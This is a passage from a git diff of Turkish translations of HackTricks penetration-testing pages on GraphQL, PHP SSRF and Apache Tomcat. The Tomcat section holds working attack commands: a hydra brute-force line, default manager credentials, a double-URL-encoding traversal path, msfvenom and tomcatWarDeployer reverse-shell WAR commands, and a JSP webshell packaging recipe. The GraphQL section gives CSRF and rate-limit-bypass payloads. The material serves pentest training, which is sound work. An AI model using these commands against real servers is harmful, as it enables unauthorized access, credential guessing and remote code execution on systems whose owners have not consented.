sorgusu, bu tür savunmaları atlayabilir: ```bash # Example with newline to bypass { @@ -376,11 +382,11 @@ API'lerde introspection sorgularına getirilen kısıtlamaları aşmak için, `_ {queryType{name}}}" } ``` -Başarısız olursanız, yalnızca POST isteklerine uygulanan kısıtlamalar nedeniyle **GET istekleri** veya **`x-www-form-urlencoded` ile POST** gibi alternatif istek yöntemlerini düşünün. +Eğer başarısız olursanız, yalnızca POST isteklerine kısıtlamalar uygulanmış olabileceğinden **GET istekleri** veya **`x-www-form-urlencoded` ile POST** gibi alternatif istek yöntemlerini düşünebilirsiniz. -### **Açığa Çıkmış GraphQL Yapılarını Keşfetme** +### **Açığa Çıkarılmış GraphQL Yapılarını Keşfetme** -Introspection devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek, web sitesinin kaynak kodunu incelemek için kullanışlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Kaynaklar` sekmesi kullanılarak bulunabilir ve API'nin şeması hakkında bilgi sağlayabilir, potansiyel olarak **açığa çıkmış hassas sorguları** ortaya çıkarabilir. Geliştirici araçları içinde arama yapmak için kullanılan komutlar: +İntrospeksiyon devre dışı bırakıldığında, JavaScript kütüphanelerinde önceden yüklenmiş sorguları incelemek yararlı bir stratejidir. Bu sorgular, geliştirici araçlarındaki `Kaynaklar` sekmesi kullanılarak bulunabilir ve API'nin şeması hakkında bilgi sağlayarak potansiyel olarak **açığa çıkarılmış hassas sorguları** ortaya çıkarabilir. Geliştirici araçları içinde arama yapmak için kullanılan komutlar: ```javascript Inspect/Sources/"Search all files" file:* mutation @@ -388,39 +394,39 @@ file:* query ``` ## GraphQL'de CSRF -CSRF'nin ne olduğunu bilmiyorsanız, aşağıdaki sayfayı okuyun: +CSRF nedir bilmiyorsanız aşağıdaki sayfayı okuyun: {% content-ref url="../../pentesting-web/csrf-cross-site-request-forgery.md" %} [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} -Orada, **CSRF belirteçleri olmadan yapılandırılmış** birçok GraphQL uç noktası bulabileceksiniz. +Dışarıda, **CSRF tokenları olmadan yapılandırılmış** birkaç GraphQL uç noktası bulabileceksiniz. -GraphQL istekleri genellikle **`application/json`** içerik türünü kullanarak POST istekleri aracılığıyla gönderilir. +GraphQL istekleri genellikle **`application/json`** Content-Type'ı kullanılarak POST istekleri aracılığıyla gönderilir. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` -Ancak, çoğu GraphQL uç noktası ayrıca **`form-urlencoded` POST isteklerini** destekler: +Ancak, çoğu GraphQL uç noktası ayrıca **`form-urlencoded` POST isteklerini de destekler:** ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -Bu nedenle, önceki gibi CSRF istekleri **önişlem istekleri olmadan** gönderildiğinden, bir CSRF'yi istismar ederek GraphQL'de **değişiklikler yapmak mümkündür**. +Bu nedenle, önceki gibi CSRF istekleri **önişlem istekleri olmadan** gönderildiğinden, bir CSRF'yi kötüye kullanarak GraphQL'de **değişiklikler** yapmak mümkündür. -Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` olduğunu unutmayın. Bu, çerezin yalnızca GET isteklerinde üçüncü taraf bir web sitesinden gönderileceği anlamına gelir. +Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` olduğuna dikkat edin. Bu, çerezin yalnızca üçüncü taraf web sitelerinden GET isteklerinde gönderileceği anlamına gelir. -Ayrıca, **sorgu isteğini** **GET** **isteği** olarak da göndermek genellikle mümkündür ve CSRF belirteci GET isteğinde doğrulanmayabilir. +Ayrıca, **sorgu** isteğinin bir **GET** isteği olarak da gönderilebileceğini ve CSRF belirtecinin GET isteğinde doğrulanmamış olabileceğini unutmayın. -Ayrıca, kullanıcının kimlik bilgilerini istismar ederek GraphQL uç noktasından içerik sızdırmak için [**XS-Search**](../../pentesting-web/xs-search.md) **saldırısını** kullanmak da mümkün olabilir. +Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search.md) **saldırısını** kötüye kullanarak kullanıcının kimlik bilgilerini kötüye kullanarak GraphQL uç noktasından içerik sızdırmak mümkün olabilir. -Daha fazla bilgi için [**buradaki orijinal yazıya**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html) bakın. +Daha fazla bilgi için **buradaki** [**orijinal yazıya**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html) **bakın**. ## GraphQL'de Yetkilendirme -Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istemcinin kimlik doğrulamasını kontrol edebilir, ancak yetkilendirmeyi kontrol etmeyebilir. +Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istekte bulunanın kimlik doğrulamasını kontrol edebilir ancak yetkilendirmeyi kontrol etmeyebilir. -Sorgu giriş değişkenlerini değiştirmek, hassas hesap ayrıntılarının [sızdırılmasına](https://hackerone.com/reports/792927) neden olabilir. +Sorgu giriş değişkenlerinin değiştirilmesi, hassas hesap ayrıntılarına yol açabilir [sızdırıldı](https://hackerone.com/reports/792927). -Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçirmeye bile yol açabilir. +Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hatta hesap ele geçirmeye yol açabilir. ```javascript { "operationName":"updateProfile", @@ -428,23 +434,23 @@ Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçir "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" } ``` -### GraphQL'de yetkilendirme atlamak +### GraphQL'de Yetkilendirme Atlatma -[Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir yetkilendirme sistemi atlayabilir. +[Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir kimlik doğrulama sistemini atlayabilir. -Aşağıdaki örnekte, işlemin "forgotPassword" olduğunu ve yalnızca onunla ilişkili forgotPassword sorgusunun çalıştırılması gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve sistem tarafından yeni bir kullanıcı olarak kaydedilmek üzere bir kullanıcı değişkeni ekliyoruz. +Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca buna ilişkin forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve sisteme yeni bir kullanıcı olarak kaydedilmesi için bir kullanıcı değişkeni ekliyoruz.
-## GraphQL'de Takma Adları Kullanarak Hız Sınırlarını Atlatma +## GraphQL'de Aliases Kullanarak Sınırı Atlatma -GraphQL'de, takma adlar, bir API isteği yapılırken özelliklerin **açıkça adlandırılmasına** olanak sağlayan güçlü bir özelliktir. Bu yetenek, tek bir istek içinde aynı türden **çoklu örneği** almak için özellikle kullanışlıdır. Takma adlar, GraphQL nesnelerinin aynı isme sahip birden fazla özelliğe sahip olmasını engelleyen sınırlamayı aşmak için kullanılabilir. +GraphQL'de, alias'ler API isteği yapılırken özelliklerin **açıkça adlandırılmasına** olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türdeki nesnelerin birden fazla örneğini** almak için özellikle kullanışlıdır. Alias'ler, GraphQL nesnelerinin aynı ada sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir. -GraphQL takma adları hakkında ayrıntılı bir anlayış için aşağıdaki kaynak önerilir: [Takma Adlar](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). +GraphQL alias'lerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: [Alias'ler](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Takma adların temel amacı, çok sayıda API çağrısına gerek duymadan yapılmasını sağlamaktır, ancak takma adların kullanılabileceği istenmeyen bir kullanım durumu tespit edilmiştir. Takma adlar, GraphQL uç noktasında brute force saldırılarını gerçekleştirmek için kullanılabilir. Bu, bazı uç noktaların, HTTP isteklerinin sayısını sınırlayarak brute force saldırılarını engellemek için tasarlanmış hız sınırlayıcılarla korunduğu anlamına gelir. Bununla birlikte, bu hız sınırlayıcılar her istekteki işlemlerin sayısını hesaba katmayabilir. Takma adlar, birden fazla sorguyu tek bir HTTP isteğine dahil etme olanağı sağladığından, bu tür hız sınırlama önlemlerini atlayabilir. +Alias'lerin asıl amacı birçok API çağrısına gerek duymayı azaltmaktır, ancak alias'lerin yanlışlıkla kullanılabileceği bir durum tespit edilmiştir: alias'ler, GraphQL uç noktasında kaba kuvvet saldırıları gerçekleştirmek için kullanılabilir. Bu, bazı uç noktaların kaba kuvvet saldırılarını sınırlayarak **HTTP isteklerinin sayısını** kısıtlayan hız sınırlayıcılarla korunduğu için mümkündür. Bununla birlikte, bu hız sınırlayıcılar her istekteki işlemlerin sayısını hesaba katmayabilir. Alias'ler, bir HTTP isteğinde birden fazla sorgunun dahil edilmesine izin verdiği için bu tür hız sınırlama önlemlerini atlayabilir. -Aşağıdaki örnek, takma adlı sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceğini göstermektedir. Bu yöntem, bir HTTP isteğine birden çok sorgu derleyerek hız sınırlamasını atlamaya olanak sağladığından, potansiyel olarak birçok indirim kodunun aynı anda doğrulanmasına izin verebilir. +Aşağıdaki örnekte, alias'li sorguların mağaza indirim kodlarının geçerliliğini doğrulamak için nasıl kullanılabileceği gösterilmektedir. Bu yöntem, birçok indirim kodunun aynı anda doğrulanmasına izin vererek hız sınırlamayı atlayabilir. ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -461,24 +467,24 @@ valid ``` ## Araçlar -### Zayıflık tarama araçları +### Zayıflık tarayıcıları -* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirme testi yapmak, şemaları brute force etmek ve belirli bir türe giden yolları bulmak için kullanılabilen bir araç takımı. -* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp eklentisi](https://github.com/doyensec/inql) olarak kullanılabilir. +* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Şemaları almak ve hassas verileri aramak, yetkilendirme testi yapmak, şemaları kaba kuvvet uygulamak ve belirli bir türe giden yolları bulmak için kullanılabilen bir araç seti. +* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Bağımsız olarak veya [Burp uzantısı](https://github.com/doyensec/inql) olarak kullanılabilir. * [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Saldırıları otomatikleştirmek için CLI istemcisi olarak da kullanılabilir. * [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Bir GraphQL şemasında belirli bir türe ulaşmanın farklı yollarını listeleyen bir araç. -* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testleri için Burp eklentisi. InQL v5.0'ın çekirdeği olan _**Scanner**_ ile bir GraphQL uç noktasını veya yerel bir tanıtım şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve mutasyonları otomatik olarak oluşturur ve analiz için yapılandırılmış bir görünümde düzenler. _**Attacker**_ bileşeni, kötü bir şekilde uygulanmış hız sınırlarını atlamak için kullanışlı olabilecek toplu GraphQL saldırıları çalıştırmanıza olanak tanır. +* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Gelişmiş GraphQL testi için Burp uzantısı. _**Tarayıcı**_, InQL v5.0'ın çekirdeğidir, burada bir GraphQL uç noktasını veya yerel bir içgörü şema dosyasını analiz edebilirsiniz. Tüm olası sorguları ve mutasyonları otomatik olarak oluşturur ve analiziniz için yapılandırılmış bir görünüme yerleştirir. _**Saldırgan**_ bileşeni, kötü uygulanmış hız sınırlarını atlamak için kullanışlı olabilecek toplu GraphQL saldırıları çalıştırmanıza olanak tanır. ### İstemciler -* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): Grafiksel kullanıcı arayüzü (GUI) istemcisi -* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): Grafiksel kullanıcı arayüzü (GUI) istemcisi +* [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI istemcisi +* [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI İstemcisi ### Otomatik Testler {% embed url="https://graphql-dashboard.herokuapp.com/" %} -* AutoGraphQL'i açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) +* AutoGraphQL'yi açıklayan video: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) ## Referanslar @@ -492,14 +498,14 @@ valid
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live). -* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) +* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin +* **💬 [Discord grubuna katılın](https://discord.gg/hRep4RUj7f)** veya [telegram grubuna katılın](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index 070a73e0f..43b7e5c58 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -10,13 +10,13 @@ HackTricks'ı desteklemenin diğer yolları: * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları: ### SSRF PHP fonksiyonları -**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, **kullanıcının veriyi kontrol edebildiği durumlarda** giriş olarak URL'leri kabul eder ve takip eder, bu da **mümkün olan SSRF zafiyetlerine** yol açabilir: +**file\_get\_contents(), fopen(), file(), md5\_file()** gibi bazı fonksiyonlar, kullanıcı veriyi kontrol edebiliyorsa **mümkün olan SSRF zafiyetlerini** oluşturabilecek URL'leri girdi olarak kabul eder. ```php file_get_contents("http://127.0.0.1:8081"); fopen("http://127.0.0.1:8081", "r"); @@ -70,21 +70,21 @@ $file = file_get_contents($url, false, $context); ``` **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-web/tomcat.md b/network-services-pentesting/pentesting-web/tomcat.md index af48d0aae..2c755a608 100644 --- a/network-services-pentesting/pentesting-web/tomcat.md +++ b/network-services-pentesting/pentesting-web/tomcat.md @@ -4,17 +4,17 @@ AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! -* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** +* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.** -**Try Hard Güvenlik Grubu** +**Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -37,7 +37,7 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat ``` ### **Yönetici Dosyaları Konumu** -**`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir. +**`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir, çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir. ### **Kullanıcı Adı Numaralandırma** @@ -47,7 +47,7 @@ msf> use auxiliary/scanner/http/tomcat_enum ``` ### **Varsayılan Kimlik Bilgileri** -**`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenmesine ve dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin temel HTTP kimlik doğrulaması ile korunmaktadır ve yaygın kimlik bilgileri şunlardır: +**`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenip dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin temel HTTP kimlik doğrulaması ile korunmaktadır ve yaygın kimlik bilgileri şunlardır: * admin:admin * tomcat:tomcat @@ -56,11 +56,11 @@ msf> use auxiliary/scanner/http/tomcat_enum * tomcat:s3cr3t * admin:tomcat -Bu kimlik bilgileri şu şekilde test edilebilir: +Bu kimlik bilgileri aşağıdaki komut kullanılarak test edilebilir: ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` -Başka dikkate değer bir dizin **`/manager/status`** 'dir, bu Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur. +Başka dikkate değer bir dizin **`/manager/status`** 'dir, bu dizin Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur. ### **Kaba Kuvvet Saldırısı** @@ -72,17 +72,17 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1 ### **Şifre Geri İzleme Açığı** -`/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izleme altında ortaya çıkarabilir. +`/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izlemek için bir fırsat sunabilir. ### **Çift URL Kodlama** -`mod_jk` içindeki CVE-2007-1860 zayıflığı, çift URL kodlama yol geçişi sağlar ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır. +`mod_jk` içindeki CVE-2007-1860 açığı, çift URL kodlama yol gezintisi sağlayarak özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır. -Tomcat yönetim webine erişmek için: `pathTomcat/%252E%252E/manager/html` +Tomcat yönetim web arayüzüne erişmek için: `pathTomcat/%252E%252E/manager/html` ### /örnekler -Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırmaya ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) +Apache Tomcat sürümleri 4.x ile 7.x arasında, bilgi sızdırmaya ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) * /examples/jsp/num/numguess.jsp * /examples/jsp/dates/date.jsp @@ -107,7 +107,7 @@ Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırmaya ve cross-site scriptin * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp -### **Yol Geçişi Sömürüsü** +### **Yol Gezintisi Sömürüsü** Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz. @@ -121,7 +121,7 @@ Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyas ### Sınırlamalar -Yeterli ayrıcalıklarınız varsa (roller: **admin**, **manager** ve **manager-script**), yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü). +Yeterli ayrıcalıklara (roller: **admin**, **manager** ve **manager-script**) sahipseniz yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed @@ -132,8 +132,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit - -Metasploit, açık kaynaklı bir sızma testi çerçevesidir. Birçok sızma testi işlemini otomatikleştirmek için kullanılır. Metasploit, hedef sistemlere saldırmak için kullanılan exploitlerin veritabanını içerir. Bu exploitler, zayıf noktaları hedeflemek ve sistemlere erişim sağlamak için kullanılır. Metasploit ayrıca payloadlar içerir, bu da hedef sistemlere zararlı yazılım enjekte etmek için kullanılır. ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost @@ -144,7 +142,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### MSFVenom Ters Kabuk -1. Dağıtmak için war dosyası oluşturun: +1. Yayınlamak için war dosyası oluşturun: ```bash msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` @@ -158,7 +156,7 @@ Bazı senaryolarda bu çalışmaz (örneğin eski sun sürümleri) ```bash git clone https://github.com/mgeeky/tomcatWarDeployer.git ``` -#### Ters Kabuk +#### Ters kabuk ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` @@ -203,7 +201,7 @@ jar -cvf ../webshell.war * webshell.war is created # Upload it ``` -### Manuel Yöntem 2 +### El ile Yöntem 2 Bir JSP web kabuğu edinin, örneğin [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ve bir WAR dosyası oluşturun: ```bash @@ -234,18 +232,18 @@ msf> use post/windows/gather/enum_tomcat **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! +A'dan Z'ye AWS hackleme konusunda htARTE (HackTricks AWS Red Team Expert) ile öğrenin! -* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. +* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
